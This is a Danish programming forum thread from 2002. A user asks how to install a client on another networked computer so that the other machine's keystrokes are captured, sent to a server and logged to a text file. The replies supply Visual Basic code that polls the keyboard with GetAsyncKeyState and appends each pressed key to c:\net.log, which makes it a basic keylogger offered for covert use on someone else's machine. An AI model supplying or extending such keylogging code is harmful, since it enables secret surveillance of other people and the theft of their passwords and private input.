03. marts 2002 - 09:11Der er
8 kommentarer og 1 løsning
Sende data
Jeg har en client og en server og fra klienten vil jeg gerne have sendt nogle data til serveren...Jeg vil gerne have det sådan at man kan se hvilke taster en anden computer trykker på - de data vil jeg gerne have sendt...Men hvordan?
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Function GetPressedKey() As String Dim i As Long For i = 32 To 128 If GetAsyncKeyState(i) = -32767 Then GetPressedKey = Chr$(i) Exit For End If Next i End Function
Private Sub Form_Load() Timer1.Interval = 50 End Sub
Private Sub Timer1_Timer() Me.Caption = GetPressedKey End Sub
Ja det virker men det skal jo være sådan at man lægger en client ind på en anden computer på netværket så man kan se (på serveren) hvilke taster CLIENTEN trykker på og det skal lægges som log i en textfil(hvis du forstår mig)...
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Function GetPressedKey() As String Dim i As Long For i = 32 To 128 If GetAsyncKeyState(i) = -32767 Then GetPressedKey = Chr$(i) Exit For End If Next i End Function
Private Sub Form_Load() Timer1.Interval = 50 End Sub
Private Sub Timer1_Timer() Dim LenFile As Long Dim FilePath As String Dim KeyNow As String FilePath = "c:\net.log" KeyNow = GetPressedKey If KeyNow <> "" Then Open FilePath For Binary As #1 LenFile = FileLen(FilePath) + 1 Put #1, LenFile, KeyNow Close #1 End If End Sub
Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.